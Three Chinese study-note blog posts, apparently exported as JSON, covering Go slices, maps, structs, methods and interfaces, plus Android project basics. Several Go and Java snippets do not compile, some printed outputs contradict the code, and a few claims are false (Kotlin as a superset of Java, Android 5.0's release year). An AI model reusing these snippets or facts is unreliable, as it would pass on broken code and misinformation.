Jupiter:\nterrestrial=planets[0:4]//长度为4,容量为8worlds=append(terrestrial,"Ceres")fmt.Println(planets)fmt.Println(worlds)//运行结果[Mercury Venus Earth Mars Ceres Saturn Uranus Neptune][Mercury Venus Earth Mars Ceres]\n如果覆盖 Jupiter 并非你想要的行为,那么你就应该在创建切片的时候使用三索引切片操作。\n使用make函数对切片实行预分配当切片的容量不足以执行 append 操作时,go 必须创建新数组并复制旧数组中的内容。但是通过内置的 make 函数对切片进行预分配策略,我们可以尽量避免额外的内存分配和数组复制操作。\nmake函数分别指定了 0 和 10 作为 dwarfs 切片的长度和容量,从而使改切片可以追加 10 个元素。在 dwarfs 切片被填满之前,append 函数将不需要为其分配任何新数组。\nfunc main(){\t//创建了一个长度为0,容量为10的切片\t//如果make函数只有两个参数,那么他的第二个参数表示长度和容量\tdwarfs := make([]string,0,10)}\nmake 函数的容量参数是可选的。执行语句 make([]string,10) 将创建长度和容量都为 10 的切片,其中每个切片元素都包含一个与类型对应的零值,也就是一个空字符串。对于这种包含零值元素的切片,执行 append 函数将向切片追加第 11 个元素。\n声明可变参数函数为了声明 Printf 和 append 这样能够接受可变数量的实参的可变参数函数,我们需要在改函数的最后一个形参前面加上省略号...。\npackage mainimport "fmt"//可变参数为字符串类型的切片func terraform(prefix string,worlds ...string)[]string{\tnewWorlds := make([]string,len(worlds))//创建新的切片而不是直接修改 worlds\tfor i:=range(worlds){\t\tnewWorlds[i]=prefix+""+worlds[i]\t}\treturn newWorlds}\nworlds 形参是一个字符串切片,它包含传递给 terraform 函数的零个或多个实参:\ntwoWorlds:=terraform("New","Venus","Mars")fmt.Println(twoWorlds)\n通过省略号可以展开切片中的多个元素,并将它们用作传递给函数的多个实参:\nplanets := []string{"Venus","Mars","Jupiter"}newPlanets := terraform("New",planets...)fmt.Println(newPlanets)\n如果 terraform 函数直接修改或者改变(mutate)worlds 形参中的元素,那么这些修改将见诸 planets 切片,但是 terraform 函数通过使用 newWorlds 切片避免了这一点。\n无所不能的映射go 提供了一种名为映射的(map)的收集器,它可以将键映射至值,并帮助你快速找到指定的元素。与数组和切片使用序列整数作为索引的做法不同,映射的键几乎是任何类型。\n\n映射收集器在不同编程语言中通常都具有不同的名称:Python 将其称为字典,Ruby 将其称为散列,而 JavaScript 则将其称为对象。PHP 对它的叫法是关联数组,至于 Lua 的表则可以同时充当映射和传统的数组。\n\n声明映射\n代码中声明的映射在声明和初始化的时候还跟其它收集器一样使用了复合字面量。对于映射中的每个元素,我们都需要根据它们的类型给定正确的键(key)和值(value),然后通过方括号[]执行诸如按键查值、使用新值覆盖旧值以及为映射添加新值等操作。\npackage mainimport "fmt"func main(){\t//声明map\t//声明一个string类型,返回值为int类型的map\ttemp:=map[string]int{\t\t"Earth":15,\t\t"Mars":-65,\t}\t//通过key获取对应value的值\tt := temp["Earth"]\t//修改key对应的value\ttemp["Earth"]=30\t//如果映射中没有对应的键,则会返回零值\tmoon:=temp["Moon"]}\n\n\n\n为了区分 “键Moon不存在映射中” 和 “键Moon存在于映射中并且它的值为0” 这两种情况,go语言提供了 “逗号与ok” 语法:\n\n//如果这个key存在与map,则ok的值为true//如果ok的值为true,则执行后面的语句if moon,ok:=temp["Moon"];ok{\tfmt.Printf("On average the moon is %v",moon)}else{\tfmt.Println("Where is the moon?")}\n这样以来,变量 moon 将继续包含键 “Moon” 的值或者零值,至于额外的 ok 变量则会在键 “Moon” 存在时被设置为 true,并在键 “Moon” 不存在时被设置为 false。\n\n在使用逗号与 ok 语法时,你可以使用自己喜欢的任何名字命名第二个变量,并不是非得用 ok 不可\n\ntemp,found:=temperature["Venus"]\n\n映射不会被复制\nmap不会被复制\n\n数组、int、float64 等基本类型在赋值给新变量或传递至函数/方法的时候会创建相应的副本,但map不会\n\ndelete函数\n\nmap共享相同的底层数据,修改这两者中的任何一个都将导致另一个发送变化。\nplanets := map[string]string{\t"Earth":"Sector ZZ9",\t"Mars":"Sector ZZ9",}planets2:=planetsplanets["Earth"]="whoops"fmt.Println(planets)fmt.Println(planets2)delete(planets,"Earth")fmt.Println(planets2)//运行结果map[Earth:whoops Mars:Sector ZZ9]map[Earth:whoops Mars:Sector ZZ9]map[Mars:Sector ZZ9]\n如代码所示,在使用内置的 delete 函数将映射从映射中移除之后,planets 和 planets2 都会受到相应的影响。与此类似,如果我们将映射传递给函数或者方法,那么映射的内容就有可能被修改。这种行为就跟多个切片同时指向相同的底层数组类似。\n使用make函数对映射实行预分配除非你使用复合字面值来初始化 map,否则必须使用内置的 make 函数来为 map 分配空间。\n创建 map 时,make 函数可接受一个或两个参数,第二个参数用于为指定数量的键预先分配空间,就像分配切片的容量一样。\n使用 make 函数创建的 map 的初始长度为 0。\nfunc main(){\ttemp:=make(map[float64]int,8)}\n\n使用映射进行计数利用映射键的唯一性对切片进行计数。\nfunc main(){ temp:=[]int{ 28,32,-31,29,28,-33, } fre:=make(map[int]int) for _,t:=range temp{ fre[t]++ } for t,num:=range fre{ fmt.Printf("%v %d \\n",t,num) }}//运行结果28 232 1-31 129 1-33 1\n使用关键字 range 迭代映射的方法跟我们之前看到过的迭代切片以及数组的方法非常相似,不同的地方在于,range 在每次迭代时提供的将不再是索引和值,而是键和值。需要注意的是,go 在迭代映射时并不保证键的顺序,因此,同样的映射在进行多次迭代时可能会产生不同的输出。\n使用映射和切片实现数据分组利用映射和切片对数据进行奇偶数进行分组\npackage mainimport ( "fmt")func main(){ temp:=[]int{3,5,6,8,12,11,15,13,}\tgroups := make(map[string][]int) for _,num:=range temp{ if num%2==0{ groups["even"]=append(groups["even"],num) }else{ groups["odd"]=append(groups["odd"],num) } } fmt.Println("odd number",groups["odd"]) fmt.Println("even number",groups["even"])}//运行结果odd number [3 5 11 15 13]even number [6 8 12]\n\n将映射用作集合集合这种收集器与数组非常相似,唯一的区别在于,集合保证其中的每个元素只会出现一次。虽然 go 语言没有直接提供集合搜集器,但我们总是可以像代码展示的那样,使用映射临时拼凑出一个集合。对被用作集合的映射来说,键的值通常并不重要,但是为了便于检查集合成员关系,键的值通常会被设置为 true。\npackage mainimport ( "fmt" "sort")func main(){ var temp=[]int{ 10,23,43,65,34,45,12, } set:=make(map[int]bool) for _,t:=range temp{ set[t]=true } //如果值为true,则相应的数存在于集合中 if set[10]{ fmt.Println("set number") } fmt.Println(set) un:=make([]int,0,len(set)) for t:=range set{ un=append(un,t) } sort.Ints(un) fmt.Println(un)}//运行结果set numbermap[10:true 12:true 23:true 34:true 43:true 45:true 65:true][10 12 23 34 43 45 65]\n\n后言\n参考书籍:Go语言趣学指南参考课程:Go语言编程快速入门(Golang)\n\n","categories":["编程"],"tags":["Go"]},{"title":"Android chapter1","url":"/2024/10/27/program/android/and-1/","content":"\n第一行代码读书笔记\n\n简介Android系统架构Android大概可以分为四层架构:Linux内核层、系统运行库层、应用框架层和应用层。\n\nLinux内核层\n\nAndroid 系统是基于 Linux 内核的,这一层位 Android 设备的各种硬件提供了底层的驱动,如显示驱动、音频驱动、照相机驱动、蓝牙驱动、Wi-Fi驱动、电源管理等。\n\n系统运行库层\n\n这一层通过一些C/C++库来为 Android 系统提供了主要的特性支持。如 SQLite 库提供了数据库的支持,OpenGL|ES 库提供了 3D 绘图的支持,Webkit 库提供了浏览器内核的支持等。\n同样在这一层还有 Android 运行时库,它主要提供了一些核心库,能够运行开发者使用 Java 语言来编写 Android 应用。另外 Android 运行时库中还包含了 Dalvik 虚拟机(5.0 系统之后改为 ART 运行环境),它使得每一个 Android 应用都能运行在独立的进程当中,并且拥有一个自己的 Dalvik 虚拟机实例。相较于 Java 虚拟机,Dalvik 是专门为移动设备定制的,它针对手机内存、CPU 性能有限等情况做了优化。\n\n应用框架层\n\n这一层主要提供了构建应用程序时可能用到的各种 API,Android 自带的一些核心应用就是使用这些 API 完成的,开发者也可以通过使用这些 API 来构建自己的应用程序。\n\n应用层\n\n所有安装在手机上的应用都是属于这一层的,比如系统自带的联系人、短信等程序,也包括你自己开发的程序。\n\nAndroid已发布的版本\n2011年2月,谷歌发布了 Android 3.0系统,是专门为平板电脑设计的,但也是 Android 位数不多的比较失败的版本。\n\n2011年10月,谷歌发布了 Android 4.0系统,这个版本不再对手机和平板进行差异化区分。\n\n2015年 Google I/O 大会上推出了号称史上版本改动最大的 Android 5.0 系统,其中使用了 ART 运行环境替代了 Dalvik 虚拟机,大大提升了应用的运行速度,还提出了 Material Design 的概念来优化应用的界面设计。除此之外,还推出了 Android Wear、Android Auto、Android TV 系统,从而进军可穿戴设备、汽车、电视等全新领域。\n\n2015年 Google I/O 大会上推出了 Android 6.0系统,加入运行时权限功能。\n\n2016年 Google I/O 大会上推出了 Android 7.0系统,加入多窗口模式功能。\n\n\nAndroid应用开发特色\n四大组件\n\nAndroid 系统四大组件分别是活动(Activity)、服务(Service)、广播接收器(Broadcast Receiver)和内容提供器(Content Provider)。其中活动是所有 Android 应用程序的门面,凡是在应用中你看到的东西,都是放在活动中的。而服务就比较低调了,你无法看到它,但它会一直在后台默默地运行,即使用户退出了应用,服务仍然是可以继续运行的。广播接收器允许你的应用接收来自各处的广播消息,比如电话、短信等,当然你的应用同样也可以向外发出广播消息。内容提供器则为应用程序之间共享数据提供了可能,比如你想要读取系统电话本中的联系人,就需要通过内容提供器来实现。\n\n丰富的系统控件\n\nAndroid 系统为开发者提供了丰富的系统控件,使得我们可以很轻松地编写出漂亮的界面。当如如果你品位高,不满足于系统自带的控件效果,也完全可以定制属于自己的控件。\n\nSQLite数据库\n\nAndroid 系统还自带了这种轻量级、运算速度极快的嵌入式关系型数据库。它不仅支持标准的 SQL 语法,还可以通过 Android 封装好的 API 进行操作,让存储和读取数据变得非常方便。\n\n强大的多媒体\n\nAndroid 系统还提供了丰富的多媒体服务,如音乐、视频、录音、拍照、闹铃,等等,这一切你都可以在程序中通过代码进行控制,让你的应用变得更加丰富多彩。\n\n地址位置定位\n\n移动设备和 PC 相比起来,地理位置定位功能应该可以算术很大的一个亮点。现在的 Android 手机都内置有 GPS,走到哪儿都可以定位到自己的位置,发挥你的想象既可以做出创意十足的应用,如果再结合功能强大的地图功能,LBS 这一领域潜力无限。\n环境搭建需要准备的工具\nJDK。JDK是 Java 语言的软件开发工具包,它包含了 Java 的运行环境、工具集合、基础类库等内容。\n\nAndroid SDK。Android SDK 是谷歌提供的 Android 开发工具包,在开发 Android 程序时,我们需要通过引入该工具包,来使用 Android 相关的 API。\n\nAndroid Studio。在很早之前,Android 项目都是用 Eclipse 来开发的,相信所有 Java 开发者都一定会对这个工具非常熟悉,它是 Java 开发神器,安装 ADT 插件后就可以用来开发 Android 程序了。而在 2013 年的时候,谷歌推出了一款官方的 IDE 工具 Android Studio,由于不再是以插件的形式存在,Android Studio 在开发 Android 程序方面远比 Eclipse 强大和方便得多。\n\n\n搭建开发环境上述软件我们并不需要一个一个的进行安装,谷歌为了简化搭建开发环境的过程,将大量需要用到的工具都帮我们集成好了,到 Android 官网就可以下载最新的开发工具 Android Studio,下载地址是:\n在安装 Android Studio 之前,我们需要先安装 JDK,因为 Android Studio 和 Android 应用开发都依赖于 Java。安装完 JDK 后,我们再安装 Android Studio,安装过程中可以选择安装 SDK。\n安装完 JDK 和 Android Studio后我们也就搭建好了基本的开发环境。\n项目创建创建第一个项目\n目前,大量 Android 程序采用 Kotlin 开发。相比 Java,Kotlin 在 Android 开发中更为强大,但严格来说它是 Java 的超集,具备与 Java 的高度兼容性。因此,在学习 Kotlin 之前,掌握 Java 基础是必要的。\n\n\n在最新的 Android Studio 中创建 Java 项目。\n\n选择 new project新建一个Java项目,然后选择No Activity,给项目起一个名称为Hello World。\n其中Package name表示项目的包名,然后选择Finish即可。\n\nAPP目录结构\n\n\nmanifests\n\n这个目录用于存放AndroidManifest.xml文件,AndroidManifest.xml文件是整个项目的配置文件,程序中定义的所有四大组件都需要在这个文件里注册。\n\njava\n\nJava目录是防止我们所有代码的地方。\n\nres\n\n项目中使用到的所有图片、布局、字符串等资源都要存放在这个目录下。当然这个目录下还有许多子目录,图片放在drawable目录下,布局放在layout目录下,字符串放在values目录下。\n\n给项目创建Activity。\n\n右击项目中的com.example.helloworld,选择New,然后选择Activity,最后选择Empty Views Activity。\n之后com.example.helloworld下就会多一个MainActivity,接下来我们需要修改activity_main.xml与AndroidMaiifest.xml文件。\n\nactivity_main.xml文件位于res/layout文件夹中,用于定义主界面的布局。它描述了界面上的 UI 元素(如按钮、文本视图等)以及它们的排列方式,是在运行时展现给用户的界面内容。AndroidManifest.xml是应用的配置文件,定义了应用的基本信息(如包名、应用组件、权限等)。它位于mainifests目录下,告诉系统应用包含的组件以及如何与系统和其他应用交互。\n\n找到activity_main.xml文件,然后点击右上角的CODE,然后添加以下代码。\n下面这段xml代码定义了一个TextView控件,它使用ConstraintLayout的约束方式,将控件居中于父布局中。\n<TextView android:id="@+id/helloTextView" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Hello, World!" android:textSize="24sp" app:layout_constraintBottom_toBottomOf="parent" app:layout_constraintTop_toTopOf="parent" app:layout_constraintStart_toStartOf="parent" app:layout_constraintEnd_toEndOf="parent"/>\n\n我们用它来显示Hello World!\n之后我们再修改AndroidManifest.xml文件,插入下面的代码。\n下面的代码表示对MainActivity这个活动进行注册,没有在AndroidManifest.xml里注册的活动是不能使用的。\n下面代码中的android.intent.action.MAIN与android.intent.category.LAUNCHER表示MainActivity是这个项目的主活动,在手机上点击应用图标,首先启动的就是这个活动。\n<activity android:name="com.example.helloworld.MainActivity" android:exported="true"> <intent-filter> \t <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter></activity>\n\n接下来我们分析一下MainActivity这个主活动的代码\npublic class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); EdgeToEdge.enable(this); setContentView(R.layout.activity_main); }); } }\n\n首先可以看到MainActivity是继承自AppCompatActivity的,这是一种向下兼容的Activity,Activity是Android系统提供的一个活动基类,我们项目中的所有活动都必须继承它或者它的子类才能拥有活动的特性(AppCompatActivity是Activity的子类)。然后可以看到,MainActivity中有一个onCreate()方法,这个方法是一个活动被创建时必定要执行的方法,其中只有两行代码,并没有Hello World!。\n因为Android程序的设计讲究逻辑和视图分离,因此是不直接在活动中直接编写界面的,更加通用的方法是在布局文件中编写界面,然后在活动中引入进来,可以看到,在onCreate方法的第二行调用了setContentView()方法,就是这个方法给当前的活动引入了一个activity_main的布局。\n布局文件都是定义在res/layout目录下的,当你展开layout目录,你好看到activity_main.xml这个文件。\n这个文件中有一个我们上面插入的TextView,这是Android系统提供的一个控件,用于在布局中显示文字的。\n详解项目中的资源res目录\n\n所有以drawable开头的文件夹都是用来放图片的\n所有以mipmap开头的文件夹都是用来放应用图标的\n所有以values开头的文件夹都是用来放字符串、样式、颜色等配置的\nlayout文件夹是用来放布局文件的。\n\n程序中一般会有很多mipmap开头的文件夹,起始主要是为了让程序能够更好地兼容各种设备。\n知道了res目录下每个文件夹的含义,我们来看一下如何去使用这些资源。\n打开res/values/strings.xml文件,内容如下所示:\n<resources> <string name="app_name">Hello World</string> </resources>\n\n可以看到,这里定义了一个应用程序名的字符串,我们有如下两种方式来引用它\n\n在代码中通过R.string.hello_world可以获得该字符串的引用\n在XML中通过@string/hello_world可以获得该字符串的引用\n\n基本的语法就是上面这两种方式,其中string部分是可以替换的,如果是引用的图片资源就可以替换成drawable,如果是引用的应用图标就可以替换成mipmap,如果是引用的布局文件就可以替换成layout,以此类推。\n下面举一个简单的例子来帮助理解,打开AndroidManifest.xml文件,查看。\n<application android:allowBackup="true" android:dataExtractionRules="@xml/data_extraction_rules" android:fullBackupContent="@xml/backup_rules" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.HelloWorld" tools:targetApi="31"> <activity android:name="com.example.helloworld.MainActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> \n\n其中项目的应用图标就是通过android:icon属性来指定的,应用的名称则是通过android:label属性指定的。\n启动模拟器运行但是我们使用电脑开发并无法直接运行 Android程序,Android程序是要运行在Android系统上的,Android Studio提供了内置模拟器,我们可以通过模拟器运行 Android 程序。\n创建模拟器后我们只需要点击右上角的运行,既可运行Android程序。\n日志工具的使用使用Android的日志工具LogAndroid 中的日志工具类是 Log(android.uril.Log),这个类中提供了如下 5 个方法来供我们打印日志。\n\nLog.v()。用于打印那些最为琐碎的、意义最小的日志信息。对应级别 verbose,是 Android 日志里面级别最低的一种。\nLog.d()。用于打印一些调试信息,这些信息对你调试程序和分析问题应该是有帮助的。对应级别 debug,比 verbose 高一级。\nLog.i()。用于打印一些比较重要的数据,这些数据应该是你非常想看到的、可以帮你分析用户行为数据。对应级别 info,比 debug 高一级。\nLog.w()。用于打印一些警告信息,提示程序在这个地方可能会有潜在的风险,最好区修复一下这些出现警告的地方。对应级别 warn,比 info 高一级。\nLog.e()。用于打印程序中的错误信息,比如程序进入到了 catch 语句当中。当有错误信息打印出来的时候,一般都代表你的程序出现严重问题了,必须尽快修复。对应级别 error,比 warn 高一级。\n\n起始很简单,一共就 5 个方法,当然每个方法还会有不同的重载,但那对你来说\n为什么使用Log而不使用System.out为什么在Android中会偏向于使用Log而不是使用System.out.println,这是因为Log和System.out相比,可以控制日志打印、可以设定打印时间、可以添加过滤器,并且对日志有所区分比如Eroor信息和Debug信息,总结就是功能更加强大。\n我们可以通过快捷输入的方式在Android Studio中快速使用Log,比如在代码中输入logd然后按tab补全会自动补全一条完整的打印语句,同理输入logi对应info级别的日志,logw对应warn级别的日志,以此类推。\n另外,由于Log的所有方法都要求传入一个tag参数,每次写一遍显然太过麻烦,我们可以在onCreate()方法的外面输入logt,然后按下tab键,这时就会以当前的类名作为值自动生成一个tag常量。\n除了快捷输入之外,logcat中还能很轻松地添加过滤器。\n","categories":["编程"],"tags":["读书笔记","java","android"]},{"title":"Go chapter5","url":"/2024/10/25/program/go/go-chapter5/","content":"结构为了将分散的零件组成一个完整的结构体,go提供了 struct 类型。\nstruct 允许你将不同类型的东西组合在一起\n声明结构访问结构中字段的值或者为字段赋值都需要用到点标记法,也就是像代码中所示的那样,使用点连接变量名和字段名。\n这跟C语言中的结构体很相似。\nvar curiosity struct{\tlat float64\tlong float64}curiosity.lat=-4.534curiosity.long=137.434fmt.Println(curiosity.lat,curiosity.long)fmt.Println(curiosity)//运行结果-4.534 123.434{-4.534 123.434}\n\n注意:使用 print 类函数可以打印出结构的内容\n\n通过类型复用结构如果你需要在多个结构中使用同一个字段,那么可以像前面那样,为结构定义相应的类型。\ntype location struct{ lat float64 long float64}func main(){ var sprint location sprint.lat=23.32 sprint.long=12.34 fmt.Println(sprint)}//运行结果{23.32 12.34}\n\n通过复合字面量初始化结构在使用复合字面量初始化结构的时候,有两种不同形式可供选择。\n如以下代码演示了如何通过成对的字段和值初始化 sprint1 变量和 sprint2 变量,这种形式的初始化可以按任何顺序给定字段,而没有给定的字段则会被初始化为类型对应的零值。\n通过成对的字段和值初始化结构的另一个好处是它可以容忍结构发送变化,并在结构添加新字段或是重新排列字段顺序的情况下继续正常工作。\nfunc main(){ type location struct{ lat float64 long float64 } sprint1:=location{lat:-2.34,long:342.344} fmt.Println(sprint1) sprint2:=location{long:365.344,lat:-5.34} fmt.Println(sprint2)}//运行结果{-2.34 342.344}{-5.34 365.344}\n\n而以下代码,清单中的复合字面量在初始化时并没有给出字段的名称,相反,这种初始化形式要求我们必须按照每个字段在结构中定义的顺序给出相应的值。按顺序给出值的初始化方式只适用于那些不会发生变化并且只包含少量字段的结构类型。\nsprint:=location{-2.34,342.344}fmt.Println(sprint)\n\n打印struct:%v,打印出结构体数据,%+v,打印出带字段名的数据\n\nsprint:=location{-2.34,342.344}fmt.Printf("%v\\n",sprint)fmt.Printf("%+v\\n",sprint)//运行结果{-2.34 342.344}{lat:-2.34 long:342.344}\n\n结构被复制sprint2 变量在初始化时复制了 sprintf1 变量包含的值,所以这两个结构发生的变化不会对对方产生任何影响。\nfunc main(){ type location struct{ lat float64 long float64 } sprint1:=location{-2.34,342.344} sprint2:=sprint1 sprint2.long+=0.10 fmt.Println(sprint1,sprint2)}//运行结果{-2.34 342.344} {-2.34 342.444}\n\n由结构组成的切片[]struct用于表示由结构组成的切片,它的独特之处在于,切片包含的每个值都是一个结构而不是像float64这样的基本类型。\n结构体组成的切片\nfunc main(){ type location struct{ name string old int high float64 } pep:=[]location{ {name:"h",old:18,high:168.5}, {name:"z",old:20,high:172.3}, {name:"w",old:18,high:165.2}, } fmt.Println(pep)}//运行结果[{h 18 168.5} {z 20 172.3} {w 18 165.2}]\n\n将结构编码为 JSONJavaScript 对象标识法(JSON)Douglas Crockford 推广的一种数据格式,它原本只是 JavaScript 语言的一个子集,但现在已经得到了其他编程语言的广泛支持。JSON 常常被用于 Web API(应用程序接口)\n如下代码所示,来自 json 包的 Marshal 函数将把 location 结构中的数据编码为 json 格式,并以字节形式返回编码后的 json 数据。这些数据既可以通过网络进行传输,也可以转换为字符串以便打印。\nimport ( "fmt" "encoding/json" "os")func main(){ type location struct{ Lat,Long float64 } curiosity:=location{-3.323,123.343} bytes,err:=json.Marshal(curiosity) if err!=nil{ os.Exit(1) } fmt.Println(string(bytes))}//运行结果{"Lat":-3.323,"Long":123.343}\n编码得出的 JSON 数据的键与 location 结构的字段名是一一对应的。需要注意的是,Marshal 函数只会对结构中被导出的字段实施编码。换句话说,如果上例中 location 结构的 Lat 字段和 Long 字段都以小写字母开头,那么编码的结构将会是 {}。\n使用结构标签定制 JSONgo语言的 json 包要求结构中的字段必须以大写字母开头,并且包含多个单词的字段名称必须使用类似 CemelCase 这样的驼峰命名惯例,但是有时候我们也会想要让 JSON 数据使用类似 snake_case 这样的蛇形命名惯例,特别是在与 Python 或者 Ruby 等语言进行交互的时候更是如此。为了解决这个问题,我们可以对结构中的字段打标签(tag),是 json 包在编码数据的时候能够按照我们的意愿修改字段的名称。\n跟前面的代码清单相比,如下代码唯一的修改就是引入了能够改变 Marshal 函数输出结构的结构标签。正如之前所述,Lat 字段和 Long 字段都必须是被导出的字段,这样 json 包才能处理它们。\nimport ( "fmt" "encoding/json" "os")func main(){ type location struct{ Lat float64 `json:"latitude"` Long float64 `json:"longitude"` } curiosity:=location{-3.323,123.343} bytes,err:=json.Marshal(curiosity) if err!=nil{ os.Exit(1) } fmt.Println(string(bytes))}//运行结果{"latitude":-3.323,"longitude":123.343}\n正如代码清单所示,结构标签实际上就是一段与结构字段相关联的字符串。这里之所以使用 `` 包围的原始字符串字面量而不使用被 ”“ 包围的普通字符串字面量,只是为了省下一些使用反斜杠转义引号的功夫而已。具体来说,如果我们把上例中的结构标签从原始字符串字面量改成普通字符串字面量,那么就需要把它改写成更难读也更麻烦的 “json:\\“atirude”” 才行。\n结构标签的格式为 key:”value”,其中键的名称通常是某个包的名称。例如,为了定制 Lat 字段在 JSON 编码和 XML 编码时的输出,我们可以将该字段的结构标签设置成 `josn:”latitude”xml:”latitude”`。\n另外,正如名称 “结构标签” 所暗示的那样,这一特性只适用于结构中的字段,虽然 josn.Marshal 函数除了能够编码结构,还能够编码其他类型。\ngo没有类go和其他经典语言不同,它没有 class,没有对象,也没有继承。\n但是go提供了 struct 和方法,通过组合这两者就可以实现面向对象设计的相关概念。\n将方法绑定到结构方法可以被关联到你声明的类型上,所以我们可以将方法关联到结构体类型上以实现类的功能。\n要实现这一想法首先要做的就是声明一个类型。\n下面例子中定义了一个人结构体,定义了一个方法打印人的名字。\ntype pep struct{ name string lghi float64 old int}func (c pep) p() { fmt.Println(c.name)}func main(){ z:=pep{"张三",170.3,100} z.p()}//运行结果张三\n\n构造函数\n可以使用 struct 复合字面值来初始化你所要的数据\n但如果 struct 初始化的时候还要做很多事情,那就可以考虑写一个构造用的函数。\ngo语言没有专用的构造函数,但以 new 或者 New 开头的函数,通常是用来构造数据的。type location struct{\tlat,long float64}func newLocation(lat,long coordinate) location{\treturn location{lat.decimal(),long.decimal()}}\n\nNew函数\n\n\n有一些用于构造的函数的名称就是New。\n这是因为函数调用时使用 包名.函数名 的形式。\n如果该函数叫 NewError,那么调用的时候就是 errors.NewError(),这就不如 errors.New()简介\n\n类的替代品go语言与 python 等传统语言不一样,它没有提供类,而是通过结构和方法来满足相同的需求。如果我们研究go的这一策略,那么就会发现它跟传统语言做法的区别不大。\ntype world struct{\tradius float64}var mars = world(radius:3389.5)func (w world) distance(p1,p2 location) float64{\t//代办事项}func rad(deg float64) float64{\treturn deg*math.Pi/180}func (w world) distance(p1,p2 location) float64{\ts1,c2 :=math.Sincos(rad(p1.lat))\ts2,c2 :=math.Sincos(rad(p2.lat))\tclong:=math.Cos(rad(p1.long-p2.long))\treturn w.radius*math.Acos(s1*s2+c1*c2*clong)}spirit:=location{-14.5684,175.472636}opportunity:=location{-1.9462,354.4734}dist:=mars.distance(spirit,opportunity)fmt.Printf("%.2f km\\n",dist)\n\n组合和转发\n在面向对象的世界中,对象由更小的对象组合而成\n术语:对象组合或组合\ngo通过结构体实现组合\ngo提供了嵌入特性,它可以实现方法的转发\n\n合并结构表示多种数据最简单的方法,在结构体中包含多种数据。\ntype report struct{\tsol int\thigh,low float64\tlat,long float64}\n也可以使用更灵活的通过结构和组合对关联的字段进行分组。通过例子中从 report 转发至 temperature 的方法,我们能够方便地访问report.average()方法,并且继续使用小型类型构建代码。\ntype report struct{\tsol int\ttemperature temper\tlocation location}type temperature struct{\thigh,low celsius}type location struct{\tlat,long float64}type celsius float64func (t temperature) average() celsius{\treturn (t.high+low)/2}func main(){\tfmr.Println("average %v C\\n",report.temperature.average())}\n\n实现自动的转发方法转发方法能够令方法更易用。为了避免每次进行转发都要像代码清单那样手动编写方法,那么转发方法将变得相当不便,更别说这些重复的样板代码会给程序带来额外的复杂性了。好在go语言可以通过结构嵌入实现自动的转发方法。为了将类型嵌入结构,我们只需像代码清单所示的那样,在不给定字段名的情况下指定类型即可。\ntype report struct{\tsol int\ttemperature\tlocation}report :={\tsol : 15,\tlocation:location{-4.5895,137.4417},\ttemperature:temperature{high:-1.0,low:-78.0},}fmr.Printf("average %vo C\\n",report.average())\n将类型嵌入结构不需要指定字段名,结构会自动为被嵌入的类型生成同名的字段。上面声明的report类型的temperature字段就是一个例子:\nfmt.Printf("average %vo C\\n",report.temperature.average())\n嵌入不仅会转发方法,还能够让外部结构直接访问内部结构中的字段。\nfmt.Printlf("%vo C\\n",report.high)report.high=32fmt.Printf("%vo C\\n",report.temperature.high)\n正如所见,对report.high的修改也将见诸report.temperature.high,这两个字段只是访问相同数据的不同手段而已。\n除了结构,我们还可以将任意其他类型嵌入结构。例如,在代码中,虽然sol类型的底层类型只是一个简单的int,但它也跟location和temperature两个结构一样被嵌入了report结构里面。\ntype sol inttype report struct{\tsol\tlocation\ttemperature}\n\n在此之后,基于sol类型声明的所有方法都能够通过sol字段或者report类型进行访问。\n命名冲突在下列代码没有进行调用的时候是可以通过编译的。但是如果进行调用days方法,那么编译器就不会直到所要调用的方法是哪一个方法。\nfunc (l location) days(12 location) int{\t//代办事项\treturn 5}func (l sol) days(12 sol) int{\treturn 5}\n\n\n接口\n接口关注于类型可以做什么,而不是存储了什么\n接口通过列举类型必须满足的一组方法来进行声明\n在go语言中,不需要显示声明接口\n\n接口类型类型通过方法表达自己的行为,而接口则通过列举类型必须满足的一组方法来就进行声明。\nvar t interface{\ttalk() string}\n任何类型的任何值,只要它满足了接口的要求,就是定义了一个方法返回string类型没有参数,就能够成为变量t的值。具体来说,无论是什么类型,只要它声明的名为talk的方法不接受任何实参并且返回字符串,那么它就满足了接口的要求。\ntype martian struct()func (m martian) talk() string{\treturn "nack nack"}type laser intfunc(l laser) talk() string{\treturn strings.Repeat("pew",int(1))}\n正如如上代码所示,虽然martian类型是一个不包含任何字段的结构,而laser类型则是一个整数,但是由于它们都提供了满足接口要求的talk方法,因此它们都能够被赋值给变量t。\nvar t interface{\ttalk() string}t=martian{}fmt.Println(t.talk())t=laser(3)fmt.Println(t.talk())\n具备变形功能的变量t能够采用martian或者laser两种形式。用计算机科学家的话来讲就是接口通过多态让变量t具备了多种形态。\n\n为了复用,通常会把接口声明为类型\n按约定,接口名称通常以er结尾type talker interface{\ttalk() string}\n接口类型可以用于在其他类型能够使用的任何地方。func shout(t talker){\tlouder := strings.ToUpper(t.talk())\tfmt.Println(louder)}\n正如代码清单所示,shout函数能够处理任何一个满足talker接口的值,无论它的类型是martian还是laser传递给shout函数的实参必须满足talker接口。\n\n接口在修改代码和扩展代码的时候能够淋漓尽致地发挥其灵活性。例如,如果你声明了一个带有talk方法的新类型,那么shout函数将自动适用于它。此外,无论实现发生何种变化或者新增何种功能,那些只依赖接口的代码都不需要做任何修改。\n值得注意的是,接口还可以根结构嵌入特性一同使用,例如如下代码将满足talker接口的laser类型嵌入了starship结构。\ntype starship struct{\tlaser}s:=starship(laser(3))fmt.Println(s.talk())fmt.Println(s.talk())shout(s)\n\n探索接口\ngo语言的接口都是隐式满足的go语言允许在实现代码的过程中随时创建新的接口。任何代码都可以实现接口,包括那些已经存在的代码。package mainimport (\t"fmt"\t"time")func stardate(t time.Time) float64{\tdoy:=float64(t.YearDay())\th:=float64(t.Hour())/24.0\treturn 100+doy+h}func main(){\tday:=time.Date(2012,8,6,5,17,0,0,time.UTC)\tfmt.Printf("%.1f Curiosity has landed\\n",stardate(day))}\n\n满足接口\ngo标准库导出了很多只有单个方法的接口。\ngo通过简单的、通常只有单个方法的接口…..来鼓励组合而不是继承,这些接口在各个组件之间形成了简明易懂的界限。\n例如fmt包声明的Stringer接口type Stringer 